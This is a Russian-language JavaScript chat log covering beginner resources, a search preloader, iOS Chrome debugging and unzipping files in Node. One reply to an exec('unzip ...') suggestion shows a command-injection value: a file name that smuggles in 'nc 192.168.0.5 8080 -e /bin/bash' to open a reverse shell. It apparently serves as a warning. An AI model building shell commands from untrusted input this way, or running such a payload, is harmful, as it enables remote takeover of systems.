🇺🇦🗿
вот по ее нажатию надо на хоумскрин левый сайт кидать
lll
Ребята, я только начинаю учить JavaScript,можете дать совет,как лучше ее учить,типа какие книги читать и т.д
lll
Спасибо!
Dzhanik
Начинающему книгу с самураем, чтобы харакири сделал чтоли?
Dzhanik
Она не для новичков
Alexander
Да конечно он рофлит
lll
https://learn.javascript.ru/ Вот, тебе сюда
Бесконечно благодарен!
Никита
Всем привет, есть ли возможность в js включить flash? window.open("https://get.adobe.com/ru/flashplayer/"); что то такого ток вызвать кастомное окно?
Roman
щито
Roman
какой флеш? флеш умер
Illia
Это поиск по таблице. Во время поиска хочу сделать прелоадер, но не получается разобраться с поочерёдностью действий. Прелоадер просто не появляется. (сделал искуственную задержку с логами)
Illia
Это поиск по таблице. Во время поиска хочу сделать прелоадер, но не получается разобраться с поочерёдностью действий. Прелоадер просто не появляется. (сделал искуственную задержку с логами)
Интересуют действия с searchBlock, когда добавляю или убираю класс. В html он появляется, но не отображается на самом деле (не появляется вообще)
Illia
Либо он моментально добавляется и моментально убирается, хотя по логике чтоб вызвать резолв нужно ждать конца цикла
Dmitriy
Может я в корне не так это делаю и нужно абсолютно по другому?
Для начала попробуй эту стену разбить на мелкие выразительные функции
Illia
И так всегда желательно делать?
Dmitriy
И так всегда желательно делать?
Да, иначе сам в своём коде путаться на следующий день будешь, а так же вдруг нужно будет переиспользовать что-то.
Illia
Окей, сделаю. Но это решит не совсем ту проблему :D
Dmitriy
Потом следующий момент: у тебя функция абсолютна синхронна, ты создаёшь промис, который сразу же резолвится
Illia
Во, наверное в этом проблема. А как сделать чтоб она среагировала после окончания цикла?
Dmitriy
а зачем тебе лоаде в синхронном поиске?
Illia
Наперёд ожидаю больших данных и хочу добавлять его, если вдруг будет занимать какое то длительное время
Illia
Вообще это не маст хев, просто для себя по красоте хочу сделать, интересно
Dmitriy
Вообще это не маст хев, просто для себя по красоте хочу сделать, интересно
Это будет не по красоте) Лоадер делай, когда запрос к серверу будет производиться. А тут у тебя работа с DOM. При большом количестве данных, как ни крути, страница ляжет
Dmitriy
Нужно сделать модель таблицы, на основании этой модели состояние транслировать в отображение, а поиск делать по модельке
Illia
Ага, т.е его нужно на сервер отправлять в любом случае?
Dmitriy
Dmitriy
Ой как сложно сказал. А другими словами это как?
Ну смотри, на каждый ввод пользователя, ты каждый раз проходишь по всей таблице селекторами. Это очень дорогие операции. Лучше держать данные таблицы и ссылки на ноды в DOM в отдельном объекте, потом при изменении этих данных, проверять что изменилось и менять сам DOM
Dmitriy
Очень важно логику от отображения отделать
Illia
В планах :)
Illia
Ну в общем, пока лучше оставить это в покое, да?
Sergei V.
Привет чат.
Sergei V.
Как сегодня быстро посмотреть в консоль - если клиент iOS Chrome?
Sergei V.
Пробую Ghostlab - но он не работает через www. там только локально - а я эмулирую iOS на удаленном сервере
Dmytro
посмотри в сафари, он скажет тоже самое
Sergei V.
таргет именно Chrome
Sergei V.
JS
Sergei V.
на iOS
Sergei V.
удаленно - это когда девайс клиент не в той же локальной сети или окружении
Dmytro
эмуляция - полная хрень. я недавно делал поле поиска, которое на большом экране - поле, а на маленьком - кнопка, с выезжающей формой - только ios simulator помог, но это на маке, конечно же
Sergei V.
если сервер и клиент выходят с одной точки доступа - то ок работает. если клиент из вне - все не работает
Sergei V.
да мне только глянуть ошибку Js
Dmytro
какого рода?
Sergei V.
все браузеры ок только chrome не грузит приложение
Sergei V.
может версия iOS chrome не поддерживает addEventListener("transitionend"
Sergei V.
не знаю
Sergei V.
какая то ошибка
Sergei V.
Как сегодня быстро посмотреть в консоль - если клиент iOS Chrome?
Dmytro
эм
Dmytro
ну
Dmytro
как минимум у хрома нет своего движка на айоси
Sergei V.
пытался завязать Ghostlab server с localtunnel чтобы была доступна из www но не там то было. там сокеты падают
Dmytro
там WebView который по сути сафари (webkit)
Sergei V.
IOS = ад, ничего не поменялось за лет 5))
Sergei V.
еще и ionic view убрали
Dmytro
как и любой корпоративный ад
Dmytro
достаточно посмотреть на бэту эджа на хромиуме
Dmytro
вырезали все по помидоры
Sergei V.
пока приходит в голову только try catch или промисы и передавать по XMLHttpRequest куда то еще
Valdis
всем привет есть зип архив. мне надо его распаковать в другой директории пробовал через machinepack-zip, extract-zip и как-то не выходит можете подсказать чем лучше это сделать и в идеале еще и пример
Andrew
подскажите хорошие видео уроки по JS буду очень благодарен. Только начинаю...
Anonymous
Если Линукс. exec('unzip filename.zip -d path/to/extract/to')
filename.zip'); ls; pwd; nc 192.168.0.5 8080 -e /bin/bash # мимопроходил
Valdis
я верно создаю зип архив с base64? файл создается, но потом я не могу разархивировать архив? брал эти байты и перегонял обратно в файл и нормально открывалось локально, а когда делаю зип таким методом - file not found const dir = __dirname; const buf = Buffer.from(Buffer.from(String.fromCharCode.apply(null, new Uint16Array(file)), "base64")); fs.writeFileSync(dir + '/files/cache/' + locationName + '.zip', buf);
Antony
Antony
Что такое tid, кто знает?
꧁༺ĤŐŔŃŶ
Antony
А что он делает?
꧁༺ĤŐŔŃŶ
Почему мне знать, я кода не видел
꧁༺ĤŐŔŃŶ
скорее всего тупа хранит этот самый идентификатор токена и все
꧁༺ĤŐŔŃŶ
но опять же, нужен сам код, иначе гадать можно до усеру
Antony
Надо гадать до усёру, потому что кода не будет